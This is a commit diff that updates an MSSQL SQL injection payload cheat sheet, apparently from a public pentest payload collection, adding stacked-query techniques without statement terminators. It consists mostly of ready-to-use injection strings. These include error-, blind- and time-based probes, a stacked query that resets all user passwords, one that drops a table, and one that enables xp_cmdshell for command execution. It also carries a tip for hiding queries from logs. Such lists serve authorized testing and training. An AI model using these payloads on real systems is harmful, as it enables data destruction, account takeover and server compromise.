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MSSQL - Stacked Queries Delimiters

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Swissky 2023-06-25 00:02:54 +02:00
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SQL Injection/MSSQL Injection.md
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@ -149,6 +149,7 @@ $ SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name =
$ SELECT UserId, UserName from Users
```
## MSSQL Error based
```sql
@ -159,6 +160,7 @@ For string inputs : ' + convert(int,@@version) + '
For string inputs : ' + cast((SELECT @@version) as int) + '
```
## MSSQL Blind based
```sql
@ -176,6 +178,7 @@ WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_ta
SELECT message FROM data WHERE row = 1 and message like 't%'
```
## MSSQL Time based
```sql
@ -189,13 +192,26 @@ IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'
IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';
```
## MSSQL Stacked Query
Use a semi-colon ";" to add another query
* Without any statement terminator
```sql
-- multiple SELECT statements
SELECT 'A'SELECT 'B'SELECT 'C'
```sql
ProductID=1; DROP members--
```
-- updating password with a stacked query
SELECT id, username, password FROM users WHERE username = 'admin'exec('update[users]set[password]=''a''')--
-- using the stacked query to enable xp_cmdshell
-- you won't have the output of the query, redirect it to a file
SELECT id, username, password FROM users WHERE username = 'admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
```
* Use a semi-colon ";" to add another query
```sql
ProductID=1; DROP members--
```
## MSSQL Read file
@ -372,3 +388,4 @@ Use `SP_PASSWORD` in a query to hide from the logs like : `' AND 1=1--sp_passwor
* [Full MSSQL Injection PWNage - ZeQ3uL && JabAv0C - 28 January 2009](https://www.exploit-db.com/papers/12975)
* [Microsoft - sys.fn_my_permissions (Transact-SQL)](https://docs.microsoft.com/en-us/sql/relational-databases/system-functions/sys-fn-my-permissions-transact-sql?view=sql-server-ver15)
* [Microsoft - IS_SRVROLEMEMBER (Transact-SQL)](https://docs.microsoft.com/en-us/sql/t-sql/functions/is-srvrolemember-transact-sql?view=sql-server-ver15)
* [AWS WAF Clients Left Vulnerable to SQL Injection Due to Unorthodox MSSQL Design Choice - Marc Olivier Bergeron - Jun 21, 2023](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/)